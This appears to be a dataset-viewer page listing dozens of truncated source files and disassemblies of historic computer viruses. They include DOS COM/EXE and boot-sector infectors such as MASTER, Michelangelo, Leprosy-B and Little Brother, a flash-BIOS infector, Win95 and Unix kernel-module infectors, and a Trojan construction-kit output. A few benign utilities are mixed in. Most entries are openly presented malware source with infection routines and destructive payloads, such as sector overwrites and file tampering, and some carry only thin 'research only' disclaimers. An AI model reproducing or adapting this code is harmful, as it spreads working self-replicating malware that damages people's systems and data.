text stringlengths 0 20k |
|---|
PAGE 59,132
;==========================================================================
;== ==
;== MOLESTER ==
;== ==
;== Created: 18-Apr-92 ==
;== Passes: 5 ... |
;.........................................................................
;
; -=[ BIOS Meningitis ]=-
; Qark/VLAD
;
;
; Basic boot sector virus with a twist.
;
; The worlds first flash BIOS infecting virus!
;
; I _just_ fit all this into 512 bytes. I... |
; (C) Copyright VirusSoft Corp. Sep., 1990
;
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
; virus, distributed by VirusSoft company . First version was made
; in May., 1990 . Please don't make any corections in this file !
;
; Bulgaria, Varna
; ... |
From netcom.com!ix.netcom.com!howland.reston.ans.net!europa.eng.gtefsd.com!uhog.mit.edu!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife Sun Jan 15 21:28:13 1995
Xref: netcom.com alt.comp.virus:1039
Newsgroups: alt.comp.virus
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!europa.eng.gtefsd.com!u... |
; mortir.asm : Mortir - le virus de francais
; Created with Biological Warfare - Version 0.90 by MnemoniX
PING equ 0D8FAh
PONG equ 0F2BEh
STAMP equ 17
MARKER equ 06971h
code segment
org 0
assume cs:code,ds:code
s... |
PAGE 59,132
;
;
; PROB
;
; Created: 1-Jan-80
; Version:... |
; MutaGenic Agent - MutaGen Test Virus
; by MnemoniX 1994
;
; This is an ordinary run-of-the-mill virus that infects a .COM file in
; the current directory on run and uses MutaGen to encrypt itself.
MGEN_SIZE equ 1032 ; size of MutaGen
ID equ 'MG' ; ID word
MAX_INFECTI... |
;Win95.Mad.2736 disassembly
;(c) Vecna/29A
;Here is the disassembly of one of the first Win95 virus, that implemented
;several original features. It was the first encripted win95 virus, and
;the second one to not add a new section to the host (the first according
;to AVPVE) the first was actually Win32.Jacky. When exe... |
;
;=============================================================================
; [Malaria]
; TSR, parasitic, tunneling, sub-stealth, floppy, COM infecting virus
;=============================================================================
;
virus_size equ (v_end-v_start)
loader_size equ... |
;******************************************************************
;* *
;* My First Virus, a simple non-overwriting COM infector *
;* *
;* by, Solomon ... |
; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.
michelangelo segment byte publi... |
; File: MIR.COM
; File Type: COM
; Processor: 8086/87/88
; Range: 00100h to 007d3h
; Memory Needed: 2 Kb
; Initial Stack: 0000:fffe
; Entry Point: 0000:0100
; Subroutines: 11
.radix 16
cseg segment para public 'CODE'
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
org 0100h
; >>>> starts execution here <<<<
o001... |
; The Mindless V1.0 Virus
;
; Type: *.COM Overwriter
;
; Programmer: Natas Kaupas
; Notes:
;
; Read the texts that come with this for all of the necessary
; info...if you've got any questions contact me on any YAM Dist. Sites.
;
; I Couldn't Have Made This Without:
;
; Soltan Griss -Kode4
; Data Disruptor -encr... |
page ,132
name mutate
title MUTATE - A Self-mutating Module for Viruses
.radix 16
.model tiny
.code
; This source code is a copyrighted material
; (C) 1990 DARK AVENGER
org 100
timer equ 46C
start:
jmp prog
; v_entry.
; , JMP-a,
; 100, .. .COM .
v_entry:
xchg ax,bp
mov si,100
... |
PAGE 59,132
;
;
; MANG
;
; Created: 30-Aug-92
; Passes: 5 Analysis Options on: none
;
;
data_0001e equ 4Ch
data_0002e equ 4Eh
main_ram_size_ equ 413h
data_0003e equ 7C00h ;*
data_0004e equ 7C05h... |
MarySue SEGMENT BYTE PUBLIC 'code'
ASSUME CS:MarySue, DS:MarySue, SS:MarySue, ES:MarySue
ORG 100h
DOS EQU 21h
start: JMP pgstart
exlbl: db 0CDh, 20h, 3, 2, 7
pgstart:CALL MarySueVir
MarySueVir:
POP SI
SUB SI,offset MarySueVir
MOV BP,[S... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
; A86 Assembler source for Monkey-B virus.
jmp short virus_start ;all jmps are short
nop
mov ss, ax
mov sp, 7c00h
mov si, sp
push ax
pop es
push ax
pop ds
sti
cld
mov di, ... |
.model tiny ;Sets memory model for TASM
.radix 16 ;Sets default number system to hexidecimal (base 16)
.code ;starts code section
org 100 ;makes program begin at 100h, i.e. a .COM file
start: ... |
;My Little Pony v1.00 disassembly - sort of.
;By Cruel Entity of ANOI. Related to CyberCide.
;Well, the comments are a bit bitchy, probably coz I was in a really
;really bad mood when I wrote them. The virus author, Cruel Entity,
;knows how to make a nice virus, he just doesn't have enough assembly
;experience to make... |
; #############################################################################
; ### ###
; ### M i C R O 29 ###
; ### ###
... |
CODE_SEG SEGMENT
ORG 100H ;ORG 100H for a .com file
ASSUME CS:CODE_SEG,DS:CODE_SEG
FIRST: JMP ENTRY ;Skip over data area
COPYRIGHT DB '(C) S. HOLZNER 1984'
TARGET_FCB DB 37 DUP(0) ;FCB at 6CH will be written over
... |
; (C) Copyright VirusSoft Corp. Sep., 1990
;
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
; virus, distributed by VirusSoft company . First version was made
; in May., 1990 . Please don't make any corections in this file !
;
; Bulgaria, Varna
; ... |
;******************************************************************************
; The High Evolutionary's [MeGaTrOjAn] v1.0
;******************************************************************************
;
; Development Notes: (Dec.12.9O)
; ------------------------------
;
; Hi guys. It's me again. Here is my la... |
;
; STEALTH group ۰
; presents ۰
;۰
; JAN 1995
;
; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
; =====... |
/* MicroSuck V.1.0 (c)YeahRight! 1997 By: Techno Phunk
one of many high level language viruses writen to shut
up some of the people in a.c.v.s.c (alt.comp.virus.source.code)
and to show them that it can be done (even by me who has only about
2 hours of C++ experience) compile with tc.exe (editor), exe n... |
;****************************************************************************
;* Mini non-resident virus
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
.RADIX 16
FILELEN ... |
; "Marauder" Virus
; AKA Deadpool-B
;
; By Hellraiser
; Of Phalcon/Skism
;
; For virus reseach only
;
; I always wanted to release this source, so here it is. Now that it's been caught
; take a look at whats inside.
;
; I know it's no great thing, but it's good to learn from. It contains basic
; encryption, mutation... |
; Virusname : Marked-X
; Virusauthor: Metal Militia
; Virusgroup : Immortal Riot
; Origin : Sweden
;
; It's a TSR, overwriting infector on files executed. If it's the
; twenty-first of any month it'll print a note and beep one thousand
; times. It also sets time/date to 00-00-00 so nothing will be shown
; in the f... |
;
; dynamic self loader
;
;
;
; SYSTEM INFECTOR
;
;
; Version 4.00 - Copywrite (c) 1989 by L.Mateew & Jany Brankow
;
; All rights reserved.
;
page ,132
title SYSTEM INFECTOR
comp13 = offset kt1 - offset org13
comp21 = offset kt1 - offset new21
compbuff = offset kt1 - offset buffer
compbuff1 = offs... |
; Virusname: MultiPlex
; Alias(es): None
; Origin : Sweden
; Author : Metal Militia/Immortal Riot
;
; Thisone's a non-res/non-ow/non-encrypted infector of .COM files which
; travels thrue one directory on your harddrive each time an infected
; file's executed.
;
; I'ts damage routine will be activated if the date's... |
.model tiny
.code
seg_a segment byte public
ASSUME CS:SEG_A, DS:SEG_A
org 100h
main proc
find:
mov ah,3bh
mov dx,offset win
int 21h
mov Dx,offset conn
mov cx,2h
mov ah,4eh
int 21h
next:
... |
; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.
michelangelo segment byte public... |
;****************************************************************************
;* Mini non-resident virus
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
.RADIX 16
FILELEN ... |
/* SVAT - Special Virii And Trojans - present:
*
* -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
*
* 0kay guys, here we go...
* As i told you with VLP I (we try to write an fast-infector)
* here's the result:
* a full, non-overwriting module infector that catches
* lkm's due to creat... |
;well, here's the next installment of the merde virus...all that is new;
;is your run of the mill xor encryption........and a little change in;
;the code itself to make it slightly more modular...;
;up+coming: .exe version(why put 'em together? makes it too big);
; an actual function besides infect!;
; TSR infect ver... |
; Okay, here is my newest version.. It now
; offers EXE infection. I messed up command.com
; compatibility so this version won't infect it.
; Also, this version might be a little shakey,
; but it should work okay with most setups
; (I'm not professional yet, so screw 'em
; if this hangs!)..
; This will be the last t... |
;
;
;
org 100h
ofs:
push 100h
push ax
push ds
push es
mov dx,054h-(ofs/16)
mov es,dx
mov ax,es:ofs[0]
cmp ax,ofs[0]
je to_... |
; VirusName: Misery
; Country : Sweden
; Author : Metal Militia / Immortal Riot
; Date : 07-22-1993
;
; This is an mutation of Leprosy from 'PCM2'.
; Many thanks to the scratch coder of Leprosy
;
; We've tried this virus ourself, and it works just fine.
; It copies itself into other exe/com files on the
; curren... |
;**********************************************************************
;*
;* MK Worm
;*
;* Compile with MASM 4.0
;*
;**********************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg
.radix 16
org 0100
... |
; (C) Copyright VirusSoft Corp. Sep., 1990
;
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
; virus, distributed by VirusSoft company . First version was made
; in May., 1990 . Please don't make any corections in this file !
;
; Bulgaria, Varna
; ... |
muttiny segment byte public
assume cs:muttiny, ds:muttiny
org 100h
start: db 0e9h, 5, 0 ; jmp startvir
restorehere: int 20h
idword: dw 990h
; The next line is incredibly pointless. It is a holdover from one
; of the origin... |
; Name: Marked-X
; Author: Metal Militia/Immortal Riot
; Resident: Yes
; Encryption: No
virus segment
assume cs:virus, ds:virus
org 100h
start:
mov ah,2ah ; Function 2Ah: Get System Date
int 21h ; Retrieve date
cmp dl,21 ; DL = Date ( tests against 21st )
je Payload ... |
; this code ataches to all .com files in the current dir then the path then
; the root dir then on 9-16 it does things to the same files.
; it set's them to 10:00am 9-16-91 and set's the file size to
; how many years since that date basically your harmless little
; iritating virus mostly getting at the little utili... |
;****************************************************************************
;* The Mutating Interrupt Virus -Soltan Griss-
;* [RABID] -=+ Front 242 +=-
;*
;*
;* Well this is my Third Release of many to come. This virus uses the latest
;* of RABI... |
;****************************************************************************
;* Midnight Massacre virus *
;* by Crypt Keeper *
;****************************************************************************
;Versio... |
; MINI-35 is Copyright (C) by Line Noise 1992...
; You are allowed to use this code in your own
; programs if you want, you are allowed to
; give this source away, sell it or whatever...
; None of the members of Line Noise should be held
; responsible for the consequences of the use
; of this program....
; Use this pro... |
; Miniscule: the world's smallest generic virus (only 31 bytes long!)
; (C) 1992 Nowhere Man and [NuKE] WaReZ
; Written on January 22, 1991
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
; Find the name of the first file and return it in the DTA. No checking
; is done f... |
; (C) Copyright VirusSoft Corp. Sep., 1990
;
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
; virus, distributed by VirusSoft company . First version was made
; in May., 1990 . Please don't make any corections in this file !
;
; Bulgaria, Varna
; ... |
; Virusname: Multi-Flu
; Origin : Sweden
; Author : Metal Militia/Immortal Riot
;
; Multi-Flu's a resident infector of .COM files (w/the exception of
; COMMAND.COM when they're executed. If the date's the first of any
; month it'll overwrite 9999 sectors on the C: drive, thereby rendering
; it useless. After this... |
ideal
p386
model tiny
codeseg
startupcode
n_int=len/4+82h
;MEGAVIR by Mad Daemon @ http://hysteria.sk/maddaemon/
;Expected values in registers at entry point: bx=0 ch=0
;Compile to COM
call start
old_3: int 20h
nop
start: pop di
dec di
dec di
mov si,[di]
... |
; ** Anti-MIT Virus **
; To assemble, use TASM and TLINK to create a .COM file. Next
; run the .COM file in the same directory of a file you want to infect.
; Your system may hang, but after re-booting you will notice an increase
; in the target files size. Now debug the newly i... |
;****************************************************************************
;* Mini non-resident virus
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
.RADIX 16
FILELEN ... |
Gotcha 1
This was the first virus I wrote. It is a resident COM and EXE infector.
It infects programs when they are executed. It hides at the top of
conventional memory. When infecting it intercepts INT24, circumvents
the read-only attribute and disables Ctrl-Break. It also restores the
original file da... |
page ,132
;
; name: mg-3.vom
;
; program type: com/bin
;
; cpu type: 8086
;
; program loaded at 0000:01f8
;
; physical eof at 0000:03f5
;
; program entry point at 0000:01f8
;
fun segment
assume cs:fun,ds:fun,es:fun,ss:fun
;
; references before the start of code space
;
org 0006h
h_0006 label word
org 004ch
h_... |
; (C) Copyright VirusSoft Corp. Aug, 1990
ofs = 201h
len = offset end-ofs
start: call $+6
org ofs
first: dw 020cdh
db 0
xchg ax,dx
pop di
dec di
dec di
mov si,[di]
dec di
add si,di
... |
; DeathHog, (will defeat read-only files and appends itself to all
; files)
; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ
; r/w access, nuisance routines supplied by KOUCH
;
; Appended by Kouch, derived from DeathCow/Define (author unknown)
virus_length equ finish - start
code ... |
;***************************************************************
; DISASSEMBLY of the MINI-45 VIRUS
;***************************************************************
; FIND .COM FILE TO INFECT
;***************************************************************
MOV DX, 127h ;filehandle sear... |
;Ŀ
; Glenns Revenge (Morgoth)
;Ĵ
; This will be a Parasytic Non-Resident .COM infector.
; It will also infect COMMAND.COM.
;
;
;
;
;
;
; This will contain the segment status, original start, pre-defin... |
.model tiny
codeseg
.8086
org 100h
; Mini Camofluge Machine v 0.62
; (c) 1997 by Pashkovsky Maxim [PARAFFiN]
;-----------------------------C-O-D-E----------------------------------------
LengthVirus equ (EndVir-Start)*2
;***********************I*N*T*S**********************************************
start:
i00: ... |
title "Memory_Lapse.366A"
;ͻ
; Assembly Source Listing for Memory_Lapse.366A
; Copyright (c) 1993 Memory Lapse. All Rights Reserved.
;Ķ
; The Memory_Lapse.366A Virus is a non-encrypting, time/date stamp saving,
; original attribute retaining, disk transfr ar... |
code segment
assume cs:code
org 100h
prog:
mov cx,(offset last - offset main + 1) / 2
mov dx,0
mov si,offset main
cmp ax,0
xor cx,0
nop
xor si,0
nop
l103: inc ax
l102: inc bp
l101: clc
l100: x... |
; MONOGRAF.DRV -- Lotus Driver for Graphics on Monochrome Display
; ============
;
; (For use with Lotus 1-2-3 Version 1A)
;
; (C) Copyright Charles Petzold, 1985
CSEG Segment
Assume CS:CSEG
Org 0
Beginning dw Offset EndDriver,1,1,Offset Initialize
Org 18h
db "Monochrome Graphics (C) Charles Petzold, 1985"... |
; <LEPROSYB.ASM> - Leprosy-B Virus Source
; Copy-ya-right (c) 1990 by PCM2.
;
; This file is the source code to the Leprosy-B virus. It should
; be assembled with an MASM-compatible assembler; it has been tested
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
; It s... |
;LOKJAW-DREI: an .EXE-infecting spawning virus with retaliatory
;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
;
;LOKJAW-DREI is a resident spawning virus which installs itself in
;memory using the same engine as the original Civil War/Proto-T virus.
;It is simpler in that none of its... |
;-----------------------------------------------------------------------------
;Lizard by Reptile/29A (another version ;)
;-----------------------------------------------------------------------------
;
;
;
; ... |
page 65,132
title The 'Lehigh' Virus
; ͻ
; British Computer Virus Research Centre
; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England
; Telephone: Domestic 0273-26105, International +44-273-26105
; ... |
;****************************************************************************
;* Little Brother Version 1
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
FILELEN ... |
name Virus
title Disassembly listing of the VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
start:
jmp virus
message db 'Hello, world!$'
mov ah,9
mov dx,offset message
int 21
int 20
virus:
push cx ;Save CX
mov dx,offset data ;Restore original first instruction
modify... |
code segment
assume cs:code
org 100h
start:
jmp begin
org 200h
begin:
jmp short beg
FileSize dw 0E00h; 02h
int21vec dd 0 ; 04h
oldint13 dd 0 ; 08h
oldint24 ... |
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG,DS:CODE_SEG,ES:CODE_SEG
ORG 100H ;Start off right for a .COM file
ENTRY: JMP LOCATE ;Skip over Data area
COPY_RIGHT DB '(C)1985 S.Holzner' ;Author's Mark
FOUND_MSG DB 13,10,13,10,'FOUND IN $' ... |
page ,132
name LiquidCodeCANCER
title LQCancer - a mutation of the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset transf
buffer equ offset endcode + 100
newdta equ offset endcode + 10
fname = newdta + 1E... |
;LOCKJAW: a .COM-infecting resident virus with retaliatory
;anti-anti-virus capability. Programmed and contributed by Nikademus, for
;Crypt Newsletter 12, Feb. 1993.
;
;LOCKJAW is a resident virus which installs itself in
;memory using the same engine as the original Civil War/Proto-T virus.
;
;LOCKJAW... |
; <LEPROSYB.ASM> - Leprosy-B Virus Source
; Copy-ya-right (c) 1990 by PCM2.
;
; This file is the source code to the Leprosy-B virus. It should
; be assembled with an MASM-compatible assembler; it has been tested
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
; It s... |
; Virusname: LISA
; Origin: Sweden
; Author: Metal Militia
; Date: 24/12/1994
;
; This virus can't be found with any anti-virus program (of the below
; that is) SCAN/TB-SCAN/F-PROT/SOLOMON. This because of that it's totally
; new written.
;
; It's a non-resident, encrypted, .com infector that spread with the
; "dot-dot... |
PAGE ,132
VIRUS SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:VIRUS,DS:VIRUS
call gyilk
int 20h
nop
gyilk: push ax
push bx
push cx
push dx
push es
push ds
push di
push si
call cim
cim: pop bx
mov si,5aa5h
mov di,55aah
push cs
pop es
ujra: add bx,1000
cmp bx,1000
jnc kilep1
jmp kilep
kilep1: push bx
mov ax,2... |
ussr516 segment byte public
assume cs:ussr516, ds:ussr516
org 100h
;Disassembled by Dark Angel of PHALCON/SKISM
;for 40Hex Number 7 Volume 2 Issue 3
stub: db 0e9h, 0, 0
db 0e9h, 1, 0, 0
;This is where the virus really begins
start:
... |
; <LEPROSYB.ASM> - Leprosy-B Virus Source
; Copy-ya-right (c) 1990 by PCM2.
;
; This file is the source code to the Leprosy-B virus. It should
; be assembled with an MASM-compatible assembler; it has been tested
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
; It s... |
;title LPTPORT.ASM - Switch Printer Ports Between LPT1: and LPT2:
;
; (C) Copyright 1984, Dickinson Associates Inc.
;
ROM_BIOS_DATA segment at 40h ; Low Memory "BIOS" Parameters at 40H
org 8h ; Printer port addresses are at byte 8
PRINTER_BASE dw 4 dup(?) ; Four words for Printer Port
; I/O Address Locations... |
;****************************************************************************
;* VOTE, SHITHEAD! virus Edited by URNST KOUCH for the Crypt Newsletter 7.
;*
;* TASM/MASM compatible source listing
;*
;* VOTE, SHITHEAD is a resident, companion virus based upon Little
;* Brother code and library .asm routines extrac... |
/* This file is part of the source code to the LEPROSY Virus 1.00
Copy-ya-right (c) 1990 by PCM2. This program can cause destruction
of files; you're warned, the author assumes no responsibility
for damage this program causes, incidental or otherwise. This
program is not intended for general distribu... |
; Okay, here is my newest version.. It now
; offers EXE infection. I messed up command.com
; compatibility so this version won't infect it.
; Also, this version might be a little shakey,
; but it should work okay with most setups
; (I'm not professional yet, so screw 'em
; if this hangs!)..
; This will be the last t... |
;****************************************************************************
;* Little Brother version 2
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anythi... |
;A small (139 byte) virus with minimal required functionality.
;This Virus for research purposes only. Please do not release!
;Please execute it only on a carefully controlled system, and only
;if you know what you're doing!
;An example for
;#######################################################
;# THE FIRST INT... |
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: LOVELOCK.ASM
; Lovelock by Ender
checkres1 = 'DA'
checkres2 = 'PS'
id = 'DA'
.model tiny
.code
; Assemble ... |
; ------------------------------------------------------------------------- ;
; Laicos v1.4 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 06/06/98 | Finished: 07/06/98 ;
; ... |
.code
.radix 16
org 100
start: jmp temp ; The next two lines will be patched in
; cld ; DAME may have altered DF
; mov bx,ds
call calc_off
old4 dw 20cdh, 0
fmask db '*.com',0
dmask db '..... |
;****************************************************************************
;* Little Brother version 3
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anythi... |
COMMENT* Change ROR -> ROL in the TWO marked places to produce UNLOCK.ASM *
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG
ORG 100H
HERE: JMP THERE
COPY_RIGHT DB '(C)1985 Steven Holzner'
PROMPT DB 'Phrase: $' ;All the messages & prompts
DEFAULT DB ... |
; LMD.2000
; Resident Polymorphic COM Infector
; Virus Reroutes Int 21h Handler through Int 84h and uses Int 84h for
; virus function calls. Int 21h Function 4Bh (Set Execution State) is hooked
; for infection routine. Virus prepends its body to files and writes 2000
; original bytes to end of file. Polymorphic rou... |
;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory
;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
;
;LOKJAW-ZWEI is a resident spawning virus which installs itself in
;memory using the same engine as the original Civil War/Proto-T virus.
;It is simpler in that none of its... |
; ------------------------------------------------------------------------- ;
; Lacimehc v1.0 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 13/06/98 | Finished: 15/06/98 ;
; ... |
ussr516 segment byte public
assume cs:ussr516, ds:ussr516
org 100h
; Disassembled by Dark Angel of PHALCON/SKISM
; for 40Hex Number 7 Volume 2 Issue 3
stub: db 0e9h, 0, 0
db 0e9h, 1, 0, 0
; This is where the virus really begins
start:
... |
;****************************************************************************
;* *
;* ASM Source Code For: *
;* Little Brother Virus - Version 1 *
;* ... |
.radix 16
;*********************************
;* The Naughty Hacker's virus *
;*VERSION 3.1 (And not the last.)*
;* ( V1594 ) *
;* Finished on the 10.04.1991 *
;* *
;* Glad to meet you friend! *
;* *
;********... |
.radix 16
;WARNING: THIS IS NOT A BASIC RELEASE BUT A WORK COPY!
;It seems that somebody had steal this version and
;circulates it now.
title The Naughty Hacker's virus version 3.0
comment / Naughty Hacker wishes you the best ! /
jmp start
virlen equ offset endcode-offset begin
alllen equ offset buffer-off... |
; Trojan Horse Constructed with...
; The Trojan Horse Construction Kit, v1.00
; Copyright(c) 1992, Stingray/VIPER
; A Viral Inclined Programming Experts Ring Programming Team Production.
IDEAL
DOSSEG
MODEL small
STACK 256
DATASEG
msg_1 db "",13,10
db "This is a Trojain horse. Curtocy of White Shark! HA H... |
PAGE 59,132
;
;
; HYDRA5
;
; Created: 21-Aug-91
; Passes: 5 Analysis Options on: AW
; Copyright (c)
;
;
data_1e equ 23Eh
psp_cmd_size equ 80h
data_17e equ 187h
data_18e equ 1... |
; VirusName : Human Greed
; Origin : Sweden
; Author : The Unforgiven
; Date : 20/12/93
;
; This is a "mutation" of the Infernal Demand virus, written by Metal
; Militia. Even if it's high modified, its ground is still the same.
; This is yet another of this simple overwriting virus, and it's
; nothing re... |
;This is the HCarry Virus
;dedicated to the late Harry Carry
;The only AV scanner that I know of that detects this virus is TBAV Scanner
start: ;start of virus!
lea si, crypt_start
mov di,si
mov cx,end - crypt_start
call crypt
jmp crypt_start
xor_value db 0
crypt:
lodsb
xor al,byte ptr [xor_value]
stosb... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.